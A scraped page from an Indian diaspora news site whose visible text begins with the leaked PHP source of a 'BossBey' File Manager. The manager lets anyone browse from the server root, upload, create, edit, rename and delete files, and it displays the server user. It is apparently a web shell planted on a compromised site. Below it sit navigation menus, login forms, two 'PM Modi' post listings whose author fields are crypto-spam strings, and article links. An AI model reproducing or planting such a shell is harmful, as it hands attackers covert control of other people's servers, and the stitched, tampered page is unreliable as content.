$_POST['target_name']; } elseif ($action === 'do_rename') { $oldName = $_POST['old_name']; $newName = basename($_POST['new_name']); $oldPath = getSafePath($currentPath, $oldName); $newPath = getSafePath($currentPath, $newName); if (!empty($newName) && file_exists($oldPath) && !file_exists($newPath)) { if (@rename($oldPath, $newPath)) { $message = "Renamed successfully."; $msgType = "success"; $mode = 'main'; } else { $message = "Rename failed. Permission denied."; $msgType = "error"; } } else { $message = "Invalid name or already exists."; $msgType = "error"; } } elseif ($action === 'cancel') { $mode = 'main'; } } // --- DATA LISTING --- $items = []; if ($mode === 'main') { // Gunakan scandir biasa $scanned = @scandir($currentPath); if ($scanned === false) { $message = "Access Denied: Cannot read directory."; $msgType = "error"; } else { $folders = []; $files = []; foreach ($scanned as $item) { if ($item == '.') continue; $fullPath = getSafePath($currentPath, $item); // Logic Tombol [..] (Parent) // Jika item adalah '..' dan kita BUKAN di root system ('/'), maka tampilkan if ($item == '..') { if ($currentPath != DIRECTORY_SEPARATOR && $currentPath != '/') { $parentPath = dirname($currentPath); $folders[] = [ 'name' => '[..]', 'path' => $parentPath, // Path parent penuh 'type' => 'Folder', 'size' => '-', 'perm' => '', 'is_parent' => true ]; } continue; } // Cek permission rwx (Read Write Execute) simpel $perms = substr(sprintf('%o', fileperms($fullPath)), -4); $isWritable = is_writable($fullPath); $permStr = $perms . ($isWritable ? ' (W)' : ' (R-O)'); if (is_dir($fullPath)) { $folders[] = [ 'name' => $item, 'path' => $fullPath, // Simpan full path untuk link 'type' => 'Folder', 'size' => '-', 'perm' => $permStr, 'is_parent' => false ]; } else { $files[] = [ 'name' => $item, 'path' => $fullPath, 'type' => 'File', 'size' => formatSize(filesize($fullPath)), 'perm' => $permStr, 'is_parent' => false ]; } } $items = array_merge($folders, $files); } } // Info Server $serverInfo = get_current_user() . "@" . php_uname('n') . " (" . PHP_OS . ")"; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>File Manager (BossBey)</title> <style> body { font-family: Arial, sans-serif; margin: 20px; background: #f4f4f4; } .container { max-width: 1000px; margin: auto; background: #fff; padding: 20px; border-radius: 5px; box-shadow: 0 0 10px rgba(0,0,0,0.1); } h2 { margin-top: 0; } .breadcrumb { font-size: 1.1em; font-family: monospace; padding: 12px; background: #e9ecef; border-radius: 4px; margin-bottom: 20px; word-wrap: break-word; } .breadcrumb a { text-decoration: none; color: #007bff; font-weight: bold; } .breadcrumb a:hover { text-decoration: underline; color: #0056b3; } .breadcrumb .sep { color: #6c757d; margin: 0 5px; } .msg { padding: 12px; margin-bottom: 20px; border-radius: 4px; border: 1px solid transparent; } .success { background: #d4edda; color: #155724; border-color: #c3e6cb; } .error { background: #f8d7da; color: #721c24; border-color: #f5c6cb; } .form-section { background: #f8f9fa; padding: 15px; border-radius: 4px; margin-bottom: 20px; border: 1px solid #ddd; } table { width: 100%; border-collapse: collapse; } th { background: #f1f1f1; text-align: left; padding: 10px; border-bottom: 2px solid #ddd; } td { padding: 10px; border-bottom: 1px solid #eee; vertical-align: middle; } tr:hover { background: #f9f9f9; } .folder-link { font-weight: bold; color: #d63384; text-decoration: none; } .file-link { color: #333; } .actions button { cursor: pointer; margin-right: 5px; padding: 2px 8px; font-size: 0.85em; } .editor-area { width: 100%; height: 400px; font-family: monospace; padding: 10px; box-sizing: border-box; } .server-info { font-size: 0.8em; color: #666; float: right; font-weight: normal; } </style> </head> <body> <div class="container"> <h2>(BossBey) File Manager</h2> <div class="breadcrumb"> <?php // 1. Link ke ROOT Sistem (/) echo "<a href='?dir=" . urlencode('/') . "'>[ROOT]</a>"; // 2. Pecah Path menjadi Array untuk dibuat link satu per satu // Contoh: /home/user/public_html -> ['', 'home', 'user', 'public_html'] $pathParts = explode(DIRECTORY_SEPARATOR, $currentPath); $buildLink = ''; foreach ($pathParts as $part) { if ($part === '') continue; // Skip kosong akibat explode '/' di awal // Bangun path bertahap: /home, lalu /home/user, dst $buildLink .= DIRECTORY_SEPARATOR . $part; echo "<span class='sep'>/</span>"; echo "<a href='?dir=" . urlencode($buildLink) . "'>" . htmlspecialchars($part) . "</a>"; } ?> <div class="server-info"><?php echo $serverInfo; ?></div> </div> <?php if ($message): ?> <div class="msg <?php echo $msgType; ?>"> <?php echo htmlspecialchars($message); ?> </div> <?php endif; ?> <?php if ($mode === 'edit'): ?> <h3>Editing: <?php echo htmlspecialchars($editFile); ?></h3> <form method="post"> <input type="hidden" name="action" value="save_file"> <input type="hidden" name="target_name" value="<?php echo htmlspecialchars($editFile); ?>"> <textarea name="file_content" class="editor-area"><?php echo htmlspecialchars($editContent); ?></textarea> <br><br> <button type="submit">Save Changes</button> <button type="submit" name="action" value="cancel" formnovalidate>Cancel</button> </form> <?php elseif ($mode === 'rename'): ?> <h3>Rename Item: <?php echo htmlspecialchars($renameTarget); ?></h3> <form method="post"> <input type="hidden" name="action" value="do_rename"> <input type="hidden" name="old_name" value="<?php echo htmlspecialchars($renameTarget); ?>"> New Name: <input type="text" name="new_name" value="<?php echo htmlspecialchars($renameTarget); ?>" style="width:300px;"> <br><br> <button type="submit">Rename</button> <button type="submit" name="action" value="cancel" formnovalidate>Cancel</button> </form> <?php else: ?> <div class="form-section"> <?php if (isWritable($currentPath)): ?> <form method="post" enctype="multipart/form-data" style="display:inline-block; margin-right:20px; vertical-align:top;"> <strong>Upload:</strong><br> <input type="hidden" name="action" value="upload"> <input type="file" name="fileUpload"> <button type="submit">Upload</button> </form> <div style="display:inline-block; border-left: 1px solid #ddd; padding-left: 20px;"> <form method="post" style="margin-bottom: 5px;"> <input type="hidden" name="action" value="create_file"> <input type="text" name="new_filename" placeholder="newfile.php" size="15"> <button type="submit">New File</button> </form> <form method="post"> <input type="hidden" name="action" value="create_folder"> <input type="text" name="new_foldername" placeholder="newfolder" size="15"> <button type="submit">New Folder</button> </form> </div> <?php else: ?> <strong style="color:red;">Current Directory is Read-Only. Cannot Upload or Create items here.</strong> <?php endif; ?> </div> <table> <thead> <tr> <th>Name</th> <th width="100">Perms</th> <th width="80">Size</th> <th width="180">Actions</th> </tr> </thead> <tbody> <?php foreach ($items as $item): ?> <tr> <td class="grid-name"> <?php if ($item['type'] === 'Folder'): ?> <a href="?dir=<?php echo urlencode($item['path']); ?>" class="folder-link"> <?php echo htmlspecialchars($item['name']); ?> </a> <?php else: ?> <span class="file-link"><?php echo htmlspecialchars($item['name']); ?></span> <?php endif; ?> </td> <td style="font-size: 0.8em; color:#666;"><?php echo $item['perm']; ?></td> <td><?php echo $item['size']; ?></td> <td class="actions"> <?php if (!$item['is_parent']): ?> <?php if ($item['type'] === 'File'): ?> <form method="post" style="display:inline;"> <input type="hidden" name="action" value="edit_mode"> <input type="hidden" name="target_name" value="<?php echo htmlspecialchars($item['name']); ?>"> <button type="submit">Edit</button> </form> <?php endif; ?> <form method="post" style="display:inline;"> <input type="hidden" name="action" value="rename_mode"> <input type="hidden" name="target_name" value="<?php echo htmlspecialchars($item['name']); ?>"> <button type="submit">Ren</button> </form> <form method="post" style="display:inline;" onsubmit="return confirm('Delete <?php echo htmlspecialchars($item['name']); ?>?');"> <input type="hidden" name="action" value="delete"> <input type="hidden" name="target_name" value="<?php echo htmlspecialchars($item['name']); ?>"> <button type="submit" style="color:red;">Del</button> </form> <?php endif; ?> </td> </tr> <?php endforeach; ?> </tbody> </table> <?php endif; ?> </div> </body> </html> ?>
Save
Cancel
?>
Home
About Us
Mission and Vision
Who we are
Hong Kong
Relocating to Hong Kong
Visiting Hong Kong
Living in Hong Kong
Studying in Hong Kong
Working in Hong Kong
Hong Kong News for NRIs
Japan
Relocating to Japan
Visiting Japan
Living in Japan
Studying in Japan
Working in Japan
Japan News for NRIs
USA
Relocating to USA
Visiting USA
Living in USA
Studying in USA
Working in USA
USA News for NRIs
UK
Relocating to UK
Visiting UK
Living in UK
Studying in UK
Working in UK
UK News for NRIs
NRI News
Finance and Investment
Political News
Religious News
Education
Lifestyle
India News
NRI Services
Local coordination (Mumbai, Delhi, Bangalore, Hyderabad)
Courier services
Legal Assistance
Elderly Care services (parents and relatives)
Visiting India
Visiting religious places
Boarding school
Shopping for NRI
Shop Clothes
Shop Food
Shop religious items
Education
shop
Account details
Account details
Addresses
Orders
Payment methods
Logout
Lost password
Sign in
Welcome!
Log into your account
your username
your password
Forgot your password?
Create an account
Sign up
Welcome!
Register for an account
your email
your username
A password will be e-mailed to you.
Password recovery
Recover your password
your email
Search
International Desi
Building Indian Community Abroad
Sign in
Welcome! Log into your account
your username
your password
Forgot your password? Get help
Create an account
Create an account
Welcome! Register for an account
your email
your username
A password will be e-mailed to you.
Password recovery
Recover your password
your email
A password will be e-mailed to you.
Sign in / Join
Investors
Career
Contribute
YouTube channel
Beyond Schooling
subscribe
contact us
International Desi
Building Indian Community Abroad
Home
About Us
Mission and Vision
Who we are
Hong Kong
Relocating to Hong Kong
Visiting Hong Kong
Living in Hong Kong
Studying in Hong Kong
Working in Hong Kong
Hong Kong News for NRIs
Japan
Relocating to Japan
Visiting Japan
Living in Japan
Studying in Japan
Working in Japan
Japan News for NRIs
USA
Relocating to USA
Visiting USA
Living in USA
Studying in USA
Working in USA
USA News for NRIs
UK
Relocating to UK
Visiting UK
Living in UK
Studying in UK
Working in UK
UK News for NRIs
NRI News
Finance and Investment
Political News
Religious News
Education
Lifestyle
India News
NRI Services
Local coordination (Mumbai, Delhi, Bangalore, Hyderabad)
Courier services
Legal Assistance
Elderly Care services (parents and relatives)
Visiting India
Visiting religious places
Boarding school
Shopping for NRI
Shop Clothes
Shop Food
Shop religious items
Education
shop
Account details
Account details
Addresses
Orders
Payment methods
Logout
Lost password
Search
Tags
PM Modi
Tag:
PM Modi
NRI News
Modi Ji to cross 400+ Mark in Election 2024
www.uftjwz.blogspot.al - 164 105 USD BINANCE
-
May 23, 2024
0
NRI News
Achievements of Narendra Modi in 9 Years
www.uftydx.blogspot.hr - 166 905 EURO BINANCE
-
September 17, 2023
0
- Advertisment -
Most Read
Math Classes for IB and International Boards
December 13, 2025
US Immigration and Visa Updates: Mixed Signals for NRIs
December 12, 2025
Indians can now work remotely from Spain
July 31, 2025
Japan’s New Residency Qualification System for Foreign Talent
July 29, 2025
error:
Content is protected !!